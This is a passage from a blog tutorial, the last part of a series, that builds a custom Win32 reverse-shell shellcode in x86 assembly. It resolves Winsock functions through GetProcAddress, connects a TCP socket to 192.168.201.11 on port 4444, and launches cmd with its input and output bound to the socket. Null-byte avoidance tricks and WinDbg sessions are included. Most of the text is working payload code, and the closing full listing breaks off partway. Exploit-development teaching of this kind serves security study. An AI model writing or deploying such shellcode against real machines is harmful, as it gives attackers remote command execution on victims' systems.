Introduction
This article focuses on finalizing the construction of a tcp socket connection as well as explains the instructions regarding the establishment of a cmd shell interaction with the attacking machine using x86 assembly. This is the third and final part of a blog series that focuses on how to create a custom Win32 reverse shell shellcode.
The full shellcode, and assembly instructions can also be found at
The first and second part of the blog series can be found at the following links
-
Win32 reverse shellcode - pt .1 - Locating the kernelbase.dll base address
-
Win32 reverse shellcode - pt .2 - locating the Export Directory Table
At the previous blog posts we have accomplished to find the kernelbase base address, and from there, we managed to access to the GetProcAddress
function, which can help us further to retrieve the addresses of the exported functions from specified dynamic libraries. At this blog post we will continue from the point we stopped at the previous post. A first step in the process of constructing a tcp socket connection, is to search for the LoadLibraryA
function in order to load the ws2_32.dll
library, because we need to use the Winsock functions provided by this dynamic-link library.
Search for the LoadLibraryA function address
At this point we will be searching for the address of LoadLibraryA
function in order use it later to load ws2_32.dll
library. This library contains specific socket functions that will be used in our shellcode
XOR ECX,ECX ; ECX = 0 PUSH EBX ; kernelbase base address PUSH EDX ; GetProcAddress PUSH ECX ; 0 PUSH 41797261 ; "Ayra" PUSH 7262694C ; "rbiL" PUSH 64616F4C ; "daoL" PUSH ESP ; "LoadLibrary" PUSH EBX ; kernelbase base address MOV ESI, EBX ; save the kernelbase address in esi for later CALL EDX ; GetProcAddress(LoadLibraryA)
At the assembly code above, at the first line, we set ecx
to zero. Then, at the second line, we save ebx
on the stack. As we saw at the previous blog post, the ebx
register holds the kernelbase.dll
base address and now we want to save this address on the stack in order to use it later. At the third line we also save the edx
on the stack. The edx
register contains the pointer to the GetProcAddress
function.
At this point we need to use GetProcAddress
in order to find the address of LoadLibraryA
function from kernelbase.dll
. More specifically, we have to initiate the following function call: GetProcAddress(kernelbase, "LoadLibraryA")
. As we already know, the kernelbase
address is placed inside the ebx
register. Next we will place the "LoadLibraryA\0"
string on the stack. The string must be NULL or \0 terminated and this can be achieved by pushing ecx
on the stack which has the NULL byte value. Afterwards, we will place the "LoadLibraryA" string on the stack, four(4) bytes at a time in reverse order. First we are placing "Ayra", then "rbiL" and then "daoL", so the string on the stack will be "LoadLibraryA".
Furthermore, we will push the esp
register on the stack and then it will point to the beginning of the LoadLibraryA
string. Afterwards, we will push the ebx
register on the stack which holds the kernelbase.dll
base address. Then, we will save the kernelbase.dll
address in esi
in order to use it later. At last, we will call edx
which holds a pointer at the GetProcAddress
address.
In order to figure out that the above code works well, we must perform some debugging using WinDbg. First we must load the executable that we have previously compiled and build using Virtual Studio 2017. Below we see the source code of the testasm.exe
executable.
#include <windows.h>
int main(int argc, char* argv[])
{
LoadLibrary("user32.dll");
_asm
{
// Locate Kernelbase.dll address
XOR ECX, ECX // zero out ECX
MOV EAX, FS:[ecx + 0x30] // EAX = PEB
MOV EAX, [EAX + 0x0c] // EAX = PEB->Ldr
MOV ESI, [EAX + 0x14] // ESI = PEB->Ldr.InMemoryOrderModuleList
LODSD // memory address of the second list entry structure
XCHG EAX, ESI // EAX = ESI , ESI = EAX
LODSD // memory address of the third list entry structure
XCHG EAX, ESI // EAX = ESI , ESI = EAX
LODSD // memory address of the fourth list entry structure
MOV EBX, [EAX + 0x10] // EBX = Base address
// Export Table
MOV EDX, DWORD PTR DS:[EBX + 0x3C] //EDX = DOS->e_lfanew
ADD EDX, EBX //EDX = PE Header
MOV EDX, DWORD PTR DS:[EDX + 0x78] //EDX = Offset export table
ADD EDX, EBX //EDX = Export table
MOV ESI, DWORD PTR DS:[EDX + 0x20] //ESI = Offset names table
ADD ESI, EBX //ESI = Names table
XOR ECX, ECX //EXC = 0
GetFunction :
INC ECX //increment counter
LODSD //Get name offset
ADD EAX, EBX //Get function name
CMP[EAX], 0x50746547 //"PteG"
JNZ SHORT GetFunction //jump to GetFunction label if not "GetP"
CMP[EAX + 0x4], 0x41636F72 //"rocA"
JNZ SHORT GetFunction //jump to GetFunction label if not "rocA"
CMP[EAX + 0x8], 0x65726464 //"ddre"
JNZ SHORT GetFunction //jump to GetFunction label if not "ddre"
MOV ESI, DWORD PTR DS:[EDX + 0x24] //ESI = Offset ordinals
ADD ESI, EBX //ESI = Ordinals table
MOV CX, WORD PTR DS:[ESI + ECX * 2] //CX = Number of function
DEC ECX //Decrement the ordinal
MOV ESI, DWORD PTR DS:[EDX + 0x1C] //ESI = Offset address table
ADD ESI, EBX //ESI = Address table
MOV EDX, DWORD PTR DS:[ESI + ECX * 4] //EDX = Pointer(offset)
ADD EDX, EBX //EDX = GetProcAddress
// Get the Address of LoadLibraryA function
XOR ECX, ECX //ECX = 0
PUSH EBX //Kernelbase base address
PUSH EDX //GetProcAddress
PUSH ECX //0
PUSH 0x41797261 //"Ayra"
PUSH 0x7262694C //"rbiL"
PUSH 0x64616F4C //"daoL"
PUSH ESP //"LoadLibrary"
PUSH EBX //Kernelbase base address
MOV ESI, EBX //save the Kernelbase address in esi for later
CALL EDX //GetProcAddress(LoadLibraryA)
}
return 0;
}
It's worth to mention here that the code above until the 49th line has been analysed and explained in previous articles, [pt .1] and [pt .2] accordingly.
Starting our analysis, we open WinDbg and then by pressing Ctrl+E
we are able to load the executable. Furthermore, at the current Windows machine the path of the executable file is located at the pathC:\Users\Xenofon\source\repos\testasm\Debug
. Afterwards, we will load the debug symbols running the command .symfix
in WinDbg and also running the command .sympath+ C:\Users\Xenofon\source\repos\testasm\testasm\Debug
, in order to load the symbols from the corresponding .pdb
file. Then we run the command .reload
in order to reload the symbols in WinDbg. In order to see the symbols we run x testasm!*
Then, running lm
we see the name of the executable
0:000> lm start end module name 00f80000 00f9f000 testasm C (private pdb symbols) C:\ProgramData\dbg\sym\testasm.pdb\AB9156DB047544CF917F630DA807EA0D3\testasm.pdb 712d0000 71444000 ucrtbased (deferred) 71450000 7146b000 VCRUNTIME140D (deferred) 75cb0000 75ec3000 KERNELBASE (deferred) 75f50000 76040000 KERNEL32 (deferred) 77580000 77722000 ntdll (pdb symbols) C:\ProgramData\dbg\sym\wntdll.pdb\DBC8C8F74C0E3696E951B77F0BB8569F1\wntdll.pdb
Afterwards, we run bu testasm!main
in order to put a breakpoint in the main function of the executable.
0:000> bu testasm!main 0:000> bl 0 e Disable Clear 00f916f0 0001 (0001) 0:**** testasm!main
Moreover, at this exercise, WinDbg has been opened using a workspace with the dark-green theme loaded. The dark-green theme can found it at this repo . Using the theme, we can see many windows in WinDbg without running extra commands, which is very usefull. Among other windows, the following screenshot shows the source code window. Running the g
command, the execution will continue until we hit the breakpoint and the line of code is highlighted in red as seen at the screenshot below.
Furthermore, we are now in position to put a breakpoint at the first instruction XOR ECX, ECX
. Moreover, we can proceed further and press Alt+7
or press view->disassembly
in order to open a new dissasembly window that shows the instructions and corresponding addresses of the provided source code as we also see at the image below.
Call the LoadLibraryA to load ws2_32.dll
In order to find the addresses of the following functions
WSAStartup
WSASocketA
connect
These functions can be found inside the following .dll library
ws2_32.dll
At this point we need to load the ws2_32.dll
library by using LoadLibraryA
. So, to find the address of the functions above, we will first load the ws2_32.dll
library using the assembly code below
ADD ESP,0xC ; pop "LoadLibraryA"
POP EDX ; EDX = 0
PUSH EAX ; EAX = LoadLibraryA
PUSH EDX ; EDX = 0
MOV DX,0x6C6C ; "ll"
PUSH EDX
PUSH 0x642E3233 ; "d.23"
PUSH 0x5F327377 ; "_2sw"
PUSH ESP ; "ws2_32.dll"
CALL EAX ; LoadLibrary("ws2_32.dll")
First we clean up the stack. In line two, before pushing the address of LoadLibraryA
on the stack, we remove the zero value placed on top of the stack using pop edx
and this also sets the edx
register to zero. The address of LoadLibraryA
will be saved on the stack in order to use it later, and that because after calling a function, the return value will be saved inside the eax
register, thus changing its current value.
Now it is time to call LoadLibrary("ws2_32.dll")
. So we need to place the string "ws2_32.dll"
on the stack. Moreover, the string length is not a multiple of 4 bytes and we cannot directly place it onto the stack. Instead, we push the edx
register on the stack, which has the 0x0
value, and then we use the dx
register to place the "ll" string on the stack ( 0x6C6C
in hex ). Afterwards, we push the "ws2_32.d"
string on the stack and then by pushing the esp
register on the stack we are located at the begining of the"ws2_32.dll"
string. Then, by calling eax
, the ws2_32.dll
library is loaded. Then, the base address of ws2_32.dll
is the address where the DLL is loaded into the memory and it will be returned in eax
register.
Get the WSAStartup address using GetProcAddress
At this point we first need to find the address of the following function
; Find the address of WSAStartup
ADD ESP,0x10 ; Clean stack
MOV EDX, [ESP+0x4] ; EDX = GetProcAddress
PUSH 0x61617075 ; "aapu"
SUB WORD [ESP + 0x2], 0x6161 ; "pu" (remove "aa")
PUSH 0x74726174 ; "trat"
PUSH 0x53415357 ; "SASW"
PUSH ESP ; "WSAStartup"
PUSH EAX ; ws2_32.dll address
MOV EDI, EAX ; save ws2_32.dll to use it later
CALL EDX ; GetProcAddress(WSAStartup)
Again, on the first line we have to clean the stack. In line two, the address of GetProcAddress
function will be placed inside the edx
register. It is worth to mention that after a function call, the eax
, </ecx> and edx
will be modified because they are not preserved. We can also check that [esp+0x4]
points to the GetProcAddress
function either by watching the memory bytes in little endian format or by using the dt poi(esp+0x4)
command in WinDbg when debugging the executable
0:000> db esp 0083f924 30 f6 7d 75 a0 63 7e 75-00 00 6d 75 20 13 88 00 0.}u.c~u..mu ... 0083f934 20 13 88 00 00 e0 a8 00-cc cc cc cc cc cc cc cc ............... 0083f944 cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc ................ 0083f954 cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc ................ 0083f964 cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc ................ 0083f974 cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc ................ 0083f984 cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc ................ 0083f994 cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc ................ 0:000> dt poi(esp+0x4) GetProcAddress 0:000> x kernelbase!GetProcAddress 757e63a0 KERNELBASE!GetProcAddress (void)
We can also see this in the Disassembly Window in Windbg
008817ac 8b542404 mov edx,dword ptr [esp+4] ss:002b:0083f928={KERNELBASE!GetProcAddress (757e63a0)}
Now its time to call GetProcAddress(ws2_32.dll, "WSAStartup")
, so we need to push "WSAStartup" string on the stack. Moreover, the string length is not a multiple of 4 bytes and we cannot directly place it on the stack. Instead, we will first push 0x61617075
hex value on the stack which represents the value "aapu" in ascii char format. Then, the next instruction will remove the two suplementary a's leaving the "pu" part of the string untouched. Afterwards the string "trat" and then the string "SASW" will also be pushed into the stack in little endian format. Next, we will push the eax
register which contains the ws2_32.dll base address and then before we call the GetProcAddress
function, we should save its address in EDI
register to use it later. Then, we will call GetProcAddress
. At this point we will have the address of WSAStartup
function in eax
register.
Call the WSAStartup function
Now that we know the address of WSAStartup
function, it is time to call and execute this function. Acording to Microsoft Docs, the function prototype of the WSAStartup
function is the following
int WSAStartup(
WORD wVersionRequired,
LPWSADATA lpWSAData
);
Function parameters :
wVersionRequired
- The highest version that the calling application requires
lpWSAData
- A pointer to the
WSAData
data structure that is to receive details of the Windows Sockets implementation.
The WSAStartup
function initializes the utilization of the winsock DLL. The following code used to implement the WSAStartup
function.
;; Call WSAStartup
XOR EBX, EBX ; zero out ebx register
MOV BX, 0x0190 ; EAX = sizeof( struct WSAData )
SUB ESP, EBX ; allocate space for the WSAData structure
PUSH ESP ; push a pointer to WSAData structure
PUSH EBX ; Push EBX as wVersionRequested
CALL EAX ; Call WSAStartUp
At the first line above, the ebx
register is zeroed out. Then, at the second line, the hex value 0x190
which is the length of the WSAData
structure will be moved to the lower register BX
. In order to be sure about the length of the WSAData
structure, we can compile and run the following program in visual studio
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")
int __cdecl main()
{
WORD wVersionRequested;
WSADATA wsaData;
int err;
wVersionRequested = MAKEWORD(2, 2);
err = WSAStartup(wVersionRequested, &wsaData);
printf("WSAStartup structure size: 0x%x\n\n", sizeof(wsaData));
WSACleanup();
}
As seen at the screenshot below, the length of the WSAData
structure is 0x190
Furthemore, at the third line we are making some space on the stack for the WSAData
structure and then esp
points to WSAData
structure. A pointer to the WSAData
structure is generally used to receive details of the Windows Sockets implementation. Then at the fifth line we will push the version of the WSAData
structure. The fifth instruction worked because, if the version requested by the application is equal to or higher than the lowest version supported by the Winsock DLL
, the call succeeds and the Winsock DLL
returns detailed information in the WSADATA
structure pointed to by the lpWSAData
parameter. For this reason we have used the length of the WSAData
stored at EBX
, because the value is much bigger than the supported version and this allow us to use lesser assembly code which also means lesser opcodes. In general, the current version of the Windows Sockets specification is version 2.2. At the last line we execute the WSAStartup
function.
Get WSASocketA using GetProcAddress
At this point we are in position to search for the address of WSASocketA
function. The following assembly code will be used in order to find the address of the WSASocketA
function
;;Find the address of WSASocketA
ADD ESP,0x10 ;Align the stack
XOR EBX, EBX ;zero out the EBX register
ADD BL, 0x4 ;add 0x4 at the lower register BL
IMUL EBX, 0x64 ;EBX = 0x190
MOV EDX,[ESP+EBX] ;EDX has the address of GetProcAddress
PUSH dword 0x61614174 ;"aaAt"
SUB word [ESP + 0x2], 0x6161 ;"At" (remove "aa")
PUSH dword 0x656b636f ;"ekco"
PUSH dword 0x53415357 ;"SASW"
PUSH ESP ;"WSASocketA" ,GetProcAddress 2nd argument
MOV EAX, EDI ;EAX now holds the ws2_32.dll address
PUSH EAX ;push the first argument of GetProcAddress
CALL EDX ;call GetProcAddress
PUSH EDI ;save the ws2_32.dll address to use it later
Now its time to call GetProcAddress(ws2_32.dll, "WSASocketA")
, so we have to push "WSASocketA" string on the stack. Moreover, once again, at the first line we are making space on the stack. Then, at the second line we are zeoroing out the EBX
register. At lines 3-5 we are moving the contents pointed by [ESP+0x190]
( the address of GetProcAddress
) to the EDX
register. We can see this in memory below
0:000> db esp L200
001efb48 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
001efb58 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
001efb68 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
001efb78 ee 03 1b 77 7a 14 65 f6-80 fc 1e 00 38 10 14 77 ...wz.e.....8..w
001efb88 90 a4 5b 00 c8 17 57 00-00 00 00 00 48 11 14 77 ..[...W.....H..w
001efb98 c8 fc 1e 00 c8 17 57 00-2b 12 14 77 00 00 00 00 ......W.+..w....
001efba8 b4 fc 1e 00 00 00 00 00-c8 fc 1e 00 00 00 00 00 ................
001efbb8 65 00 72 00 09 00 00 00-c8 17 57 00 60 3a 5b 00 e.r.......W.`:[.
001efbc8 09 00 00 00 04 00 00 00-c0 9c 92 76 90 a4 5b 00 ...........v..[.
001efbd8 c8 fc 1e 00 58 4d 5b 00-0c fe 1e 00 20 94 17 77 ....XM[..... ..w
001efbe8 fe 41 5b 81 fe ff ff ff-4c fc 1e 00 7d 51 18 77 .A[.....L...}Q.w
001efbf8 50 4d 5b 00 a4 51 18 77-58 4d 5b 00 00 00 5b 00 PM[..Q.wXM[...[.
001efc08 00 00 c5 76 00 00 00 00-00 00 00 00 00 00 00 00 ...v............
001efc18 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
001efc28 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
001efc38 00 00 00 00 58 52 75 6e-6e 69 6e 67 00 00 5b 00 ....XRunning..[.
001efc48 88 fc 1e 00 6c fc 1e 00-86 86 14 77 00 00 00 00 ....l......w....
001efc58 00 00 00 00 00 00 00 00-ac fd 1e 00 a8 fc 1e 00 ................
001efc68 00 00 c5 76 80 fc 1e 00-68 ba 12 77 00 00 5b 00 ...v....h..w..[.
001efc78 00 00 00 00 fe 13 65 f6-b8 fc 1e 00 ea 63 d6 76 ......e......c.v
001efc88 00 00 92 76 ac fc 1e 00-00 00 00 00 b4 fc 1e 00 ...v............
001efc98 00 00 00 00 c8 17 57 00-ac fd 1e 00 00 00 c5 76 ......W........v
001efca8 00 00 c5 76 0a 00 0b 00-c8 fc 1e 00 c0 9c 92 76 ...v...........v
001efcb8 ac fd 1e 00 c8 17 00 00-00 00 92 76 c8 fc 1e 00 ...........v....
001efcc8 57 53 41 53 74 61 72 74-75 70 00 61 30 f6 d5 76 WSAStartup.a0..v
001efcd8 a0 63 d6 76 00 00 c5 76-20 13 57 00 20 13 57 00
As we see above (highlighted in red) at address 001efcc8
, there is the argument "WSAStartup" that we have used earlier with GetProcAddress
function, when we were searching for the address of WSAStartup
function.
Furthermore, we can confirm that the highlighted address above points to the GetProcAddress
function
0:000> dt poi(001efcd8) GetProcAddress
Moreover, we cannot just use the instruction mov EBX, [ESP+0x190]
because this instruction produces null bytes as we also see below.
nasm > mov ebx, [esp+0x190] 00000000 8B9C2490010000 mov ebx,[esp+0x190] nasm >
In order to avoid the null bytes, we should first add the hex value 0x4
at the lower BL
register. Afterwards, we multiply EBX
with 0x64
and finally EBX
has the hex value 0x190
. This way we have avoided the null bytes.
nasm > add BL, 0x4 00000000 80C304 add bl,0x4 nasm > imul EBX, 0x64 00000000 6BDB64 imul ebx,ebx,byte +0x64
Then, we add the ESP
register with EBX
which sets the value of GetProcAddress
at the EDX
register. Furthermore, at lines 6-9 we are pushing on the stack the string "At", then the "ekco" and then the "SASW" in reverse order because of the little endian format. After that, at the tenth line, ESP
is pointing at the begining of "WSASocketA" and this is the second argument of GetProcAddress
. Furthermore, at lines 11-12, we want to push the first argument of GetProcAddress
on the stack. In order to do this, the EDI
register which holds ws2_32.dll
address, will be moved in eax
register. Then we call GetProcAddress
. At this point, after we call GetProcAddress
with call edx
instruction, we have the address of WSASocketA
function in eax
register. Next, as seen at the screenshot below, observing the registers, we see that the address of the ws2_32.dll
library is located at the edi
register.
Now, we push edi
in order to save the address of ws2_32.dll
library on the stack for later use.
Call the WSASocketA function
Now that we know the address of WSASocketA
function, it is time to call and execute the function. Acording to Microsoft Docs, the function prototype of the WSASocketA
is the following
SOCKET WSAAPI WSASocketA(
int af,
int type,
int protocol,
LPWSAPROTOCOL_INFOA lpProtocolInfo,
GROUP g,
DWORD dwFlags
);
Function parameters :
af
- The address family specification.
type
- The type specification for the new socket.
protocol
- The protocol to be used.
lpProtocolInfo
- A pointer to a
WSAPROTOCOL_INFO
structure that defines the characteristics of the socket to be created.
g
- An existing socket group ID or an appropriate action to take when creating a new socket and a new socket group.
dwFlags
- A set of flags used to specify additional socket attributes.
This function creates a socket. The following arguments passed to the function
- 2 == AF_INET (IPv4)
- 1 == SOCK_STREAM (TCP)
- 6 == IPPROTO_TCP (TCP)
- NULL == no value for lpProtocolInfo
- 0 == since we don't have an existing "socket group"
- NULL == no value for dwFlags
The following assembly code implements the WSASocketA
function
;call WSASocketA
XOR ECX, ECX ;zero out ECX register
PUSH EDX ;null value for dwFlags
PUSH EDX ;zero value since we dont have an existing socket group
PUSH EDX ;null value for lpProtocolInfo
MOV DL, 0x6 ;IPPROTO_TCP
PUSH EDX
INC ECX ;SOCK_STREAM (TCP)
PUSH ECX
INC ECX ;AF_INET (IPv4)
PUSH ECX
CALL EAX ;call WSASocketA
XCHG EAX, ECX ;save socket descriptor into ecx in orddr to use it later
At the first line we zero out ecx
register, and after that because we dont need additional socket attributes, we set the dwFlags
argument with a null value. At the third line, because we dont want to perform any socket group operation, we are pushing the zero value on the stack. In the same manner, at the fourth line, we dont need to define characteristics to the new socket, so we are pushing the null value on the stack. Furthermore, at the fifth line, we are setting the protocol to be used. Here we are using TCP
. At lines 6-7, we are setting the type parameter to SOCKET_STREAM (TCP)
. At lines 8-9, we are setting the internet protocol version 4 (IPv4). At the 10th line, we execute WSASocketA
. At the 11th line, we are saving the socket descriptor to ecx
register in order to use it later.
Get connect using GetProcAddress
At this point we are ready to search for the address of connect function.
connect
The following assembly code will be used in order to find the address of the connect
function
;; Find the address of connect
POP EDI ;load previously saved ws2_32.dll address to ECX
ADD ESP, 0x10 ;Align stack
XOR EBX, EBX ;zero out EBX
ADD BL, 0x4 ;add 0x4 to lower register BL
IMUL EBX, 0x63 ;EBX = 0x18c
MOV EDX, [ESP + EBX] ;EDX has the address of GetProcAddress
PUSH 0x61746365 ;"atce"
SUB word [ESP + 0x3], 0x61 ;"tce" (remove "a")
PUSH 0x6e6e6f63 ;"nnoc"
PUSH ESP ;"connect", second argument of GetProcAddress
PUSH EDI ;ws32_2.dll address, first argument of GetProcAddress
XCHG ECX, EBP ;save socket descriptor to EBP registry for later use
CALL EDX ;call GetProcAddress
At the first line, edi
register has the address of ws2_32.dll
. At the second line, we are aligning the stack. At lines 3-6, we are getting the address of the GetProcAddress
function. At lines 7-9, we are pushing the string, "connect", in reverse order due to little endian format. At the tenth line, we are pushing the second argument of GetProcAddress
which is the name of the connect
function. This is done by pushing the esp
register on the stack. Then, we push the first argument of GetProcAddress
on the stack, which is the ws32_2.dll
address. Afterwards, we are saving the socket descriptor we have aquired earlier into the ebp
register to use it later. Then we call GetProcAddress
and then the address of connect
function will be returned in eax
register
Call the connect function
Next, we implement the connect
function. According to Microsoft Docs, the connect
function establishes a connection to a specified socket.
connect
function prototype :
int WSAAPI connect(
SOCKET s,
const sockaddr *name,
int namelen
);
Function parameters :
s
- A descriptor identifying an unconnected socket.
name
- A pointer to the
sockaddr
structure to which the connection should be established.
namelen
- The length, in bytes, of the
sockaddr
structure pointed to by the name parameter.
The following code implements the connect
function
;call connect
PUSH 0x0bc9a8c0 ;sin_addr set to 192.168.201.11
PUSH word 0x5c11 ;port = 4444
XOR EBX, EBX ;zero out EBX
add BL, 0x2 ;TCP protocol
PUSH word BX ;push the protocol value on the stack
MOV EDX, ESP ;pointer to sockaddr structure (IP,Port,Protocol)
PUSH byte 16 ;the size of sockaddr - 3rd argument of connect
PUSH EDX ;push the sockaddr - 2nd argument of connect
PUSH EBP ;socket descriptor = 64 - 1st argument of connect
XCHG EBP, EDI ;save socket descriptor to EDI to use it later
CALL EAX ;execute connect;
At lines 1-6, we are setting the sockaddr
structure ( Port
, IP
, Protocol
) and then the edx
register will hold the pointer of sockaddr
structure. Afterwards, at lines 7-9, we are setting the arguments of the connect
function in reverse order. First we push the size of the sockaddr
structure on the stack, then we push the address of thesockaddr
structure on the stack and finally we also push on the stack, the socket descriptor that was saved before into ebp
. Afterwards, before we execute connect
function, we save the socket descriptor into edi
for later use. Finally, we call connect
function.
Get CreateProcessA using GetProcAddress
At this point we will search for the address of CreateProcessA
function.
-
CreateProcessA
The following assembly code will be used in order to find the address of the CreateProcessA
function
;; Find the address of CreateProcessA
ADD ESP,0x14 ;Clean stack
XOR EBX, EBX ;zero out EBX
ADD BL, 0x4 ;add 0x4 to lower register BL
IMUL EBX, 0x64 ;EBX = 0x190
MOV EDX,[ESP+EBX] ;EDX has the address of GetProcAddress
PUSH 0x61614173 ;"aaAs"
SUB word [ESP + 0x2], 0x6161 ;"As" ( remove "aa")
PUSH 0x7365636f ;"seco"
PUSH 0x72506574 ;"rPet"
PUSH 0x61657243 ;"aerC"
PUSH ESP ;"CreateProcessA" - 2nd argument of GetProcAddress
MOV EBP, ESI ;move the kernel32.dll to EBP
PUSH EBP ;kernel32.dll address - 1st argument of GetProcAddress
CALL EDX ;execute GetProcAddress
PUSH EAX ;address of CreateProcessA
LEA EBP, [EAX] ;EBP now points to the address of CreateProcessA
At the first line we are aligning the stack. Then, at lines 2-5 we are getting the address of the GetProcAddress
function. At lines 6-11, we are pushing onto the stack, the second argument of GetProcAddress
function in reverse order, which sets the string "CreateProcessA". In order to do that, we are first pushing the string "As", then "seco", then "rPet" and finally the string "aerC". Next, esp
regsister points at the top of the stack at the begining o the string "CreateProcessA". At line 12, we are moving the kernel32.dll
address that was saved inside esi
, into the ebp
register. Then at line 13, we are pushing the first argument of GetProcAddress
into the stack. At line 14, we are calling GetProcAddress
. Then, at line 15, the returned address of CreateProcessA
function will be saved into the stack. Then the address of eax
will be loaded into the ebp
, which will point to the address of CreateProcessA
register.
Call the CreateProcessA function
Next, the CreateProcessA
function will be implemented. According to Microsoft Docs, the CreateProcessA
function creates a new process and its primary thread. The new process runs in the security context of the calling process.
Following we can see the CreateProcessA
function prototype
BOOL CreateProcessA(
LPCSTR lpApplicationName,
LPSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCSTR lpCurrentDirectory,
LPSTARTUPINFOA lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);
Function parameters :
lpApplicationName
- The name of the module to be executed. This module can be a Windows-based application.
lpCommandLine
- The command line to be executed.
lpProcessAttributes
- A pointer to a
SECURITY_ATTRIBUTES
structure that determines whether the returned handle to the new process object can be inherited by child processes.
lpThreadAttributes
- A pointer to a
SECURITY_ATTRIBUTES
structure that determines whether the returned handle to the new thread object can be inherited by child processes.
bInheritHandles
- If this parameter is
TRUE
, each inheritable handle in the calling process is inherited by the new process.
dwCreationFlags
- The flags that control the priority class and the creation of the process.
lpEnvironment
- A pointer to the environment block for the new process. If this parameter is NULL, the new process uses the environment of the calling process.
lpCurrentDirectory
- The full path to the current directory for the process. The string can also specify a UNC path.
lpStartupInfo
- A pointer to a
STARTUPINFO
orSTARTUPINFOEX
structure.
lpProcessInformation
- A pointer to a
PROCESS_INFORMATION
structure that receives identification information about the new process.
The following code used to impement and call the CreateProcessA
function
PUSH 0x61646d63 ;"admc"
SUB dword [ESP + 0x3], 0x61 ;"dmc" (remove "a")
MOV ECX, ESP ;ecx now points to "cmd" string
At Lines 1-3 above, the instructions are setting the ECX
register to point to "cmd" string. This is the lpProcessInformation
argument of CreateProcessA
, and provides the name of the module to be executed
XOR EDX, EDX ;zero out EDX
SUB ESP, 16
MOV EBX, ESP ;pointer for ProcessInfo
As we see at the code above, at the first line we zero out the EDX
register. At lines 2-3, we are setting the EBX
register to point to PROCESS_INFORMATION
structure.
PUSH EDI ;hStdError => saved socket
PUSH EDI ;hStdOutput => saved socket
PUSH EDI ;hStdInput => saved socket
PUSH EDX ;lpReserved2 => NULL
PUSH EDX ;cbReserved2 => NULL
XOR EAX, EAX ;zero out EAX register
INC EAX ;EAX => 0x00000001
ROL EAX, 8 ;EAX => 0x00000100
PUSH EAX ;dwFlags => STARTF_USESTDHANDLES 0x00000100
PUSH EDX ;dwFillAttribute => NULL
PUSH EDX ;dwYCountChars => NULL
PUSH EDX ;dwXCountChars => NULL
PUSH EDX ;dwYSize => NULL
PUSH EDX ;dwXSize => NULL
PUSH EDX ;dwY => NULL
PUSH EDX ;dwX => NULL
PUSH EDX ;pTitle => NULL
PUSH EDX ;pDesktop => NULL
PUSH EDX ;pReserved => NULL
XOR EAX, EAX ;zero out EAX
ADD AL, 44 ;cb => 0x44 (size of struct)
PUSH EAX ;eax points to STARTUPINFOA
Later on, as we see at the code above, we continue setting up the STARTUPINFOA
structure. At lines 1-3 above, we are setting up the standard input, the standard output and the standard error by putting the socket file descriptor into the struct members hStdInput
, hStdOutput
, and hStdError
. At the fourth line above, the cbReserved2
is reserved for use by the C run-time and must be zero. Same for lpReserved2
at the fifth line. At lines 6-9, we are setting the STARTF_USESTDHANDLES
struct member with the value 0x00000100
. Then, at lines 7-16, All the other values of STARTUPINFOA
structure should be null. At seventeenth line, the cb
member holds the size of the STARTUPINFOA
structure which is 0x44
in hex. Then, at eighteenth line, the EAX
register contains a pointer to STARTUPINFOA
structure
;;ProcessInfo struct
MOV EAX, ESP ;pStartupInfo
PUSH EBX ;pProcessInfo
PUSH EAX ;pStartupInfo
PUSH EDX ;CurrentDirectory => NULL
PUSH EDX ;pEnvironment => NULL
PUSH EDX ;CreationFlags => 0
XOR EAX, EAX ;zero out EAX register
INC EAX ;EAX => 0x00000001
PUSH EAX ;InheritHandles => TRUE => 1
PUSH EDX ;pThreadAttributes => NULL
PUSH EDX ;pProcessAttributes => NULL
PUSH ECX ;pCommandLine => pointer to "cmd"
PUSH EDX ;ApplicationName => NULL
CALL EBP ;execute CreateProcessA
At the code above, we are now starting the setup of CreateProcessA
function. At lines 1-3 ,we are pushing the pointers of STARTUPINFOA
and PROCESS_INFORMATION
structures onto the stack as the two last arguments of the CreateProcessA
function. Afterwards, at lines 4-6 we are setting the next three arguments of CreateProcessA
function, the CurrentDirectory
, and the pEnvironment
with nulls, and the CreationFlags
with zero. At lines 7-9 , we are setting the InheritHandles to TRUE
, and that, because the STARTF_USESTDHANDLES
was set before with 0x00000100
. Next, at lines 10-11, we are setting the pThreadAttributes
and pProcessAttributes
with null. At line 12, we set the pointer to "cmd". At line 13 , we set the ApplicationName
to null and then we call CreateProcessA
function.
Full Reverse TCP Shellcode
The following assembly code represents the code used to perform a reverse tcp socket connection at IP address 192.168.201.11
and port 4444
[BITS 32]
global _start
section .text
_start:
; Locate Kernelbase.dll address
XOR ECX, ECX ;zero out ECX
MOV EAX, FS:[ecx + 0x30] ;EAX = PEB
MOV EAX, [EAX + 0x0c] ;EAX = PEB->Ldr
MOV ESI, [EAX + 0x14] ;ESI = PEB->Ldr.InMemoryOrderModuleList
LODSD ;memory address of the second list entry structure
XCHG EAX, ESI ;EAX = ESI , ESI = EAX
LODSD ;memory address of the third list entry structure
XCHG EAX, ESI ;EAX = ESI , ESI = EAX
LODSD ;memory address of the fourth list entry structure
MOV EBX, [EAX + 0x10] ;EBX = Base address
; Export Table
MOV EDX, DWORD [EBX + 0x3C] ;EDX = DOS->e_lfanew
ADD EDX, EBX ;EDX = PE Header
MOV EDX, DWORD [EDX + 0x78] ;EDX = Offset export table
ADD EDX, EBX ;EDX = Export table
MOV ESI, DWORD [EDX + 0x20] ;ESI = Offset names table
ADD ESI, EBX ;ESI = Names table
XOR ECX, ECX ;EXC = 0
GetFunction :
INC ECX; increment counter
LODSD ;Get name offset
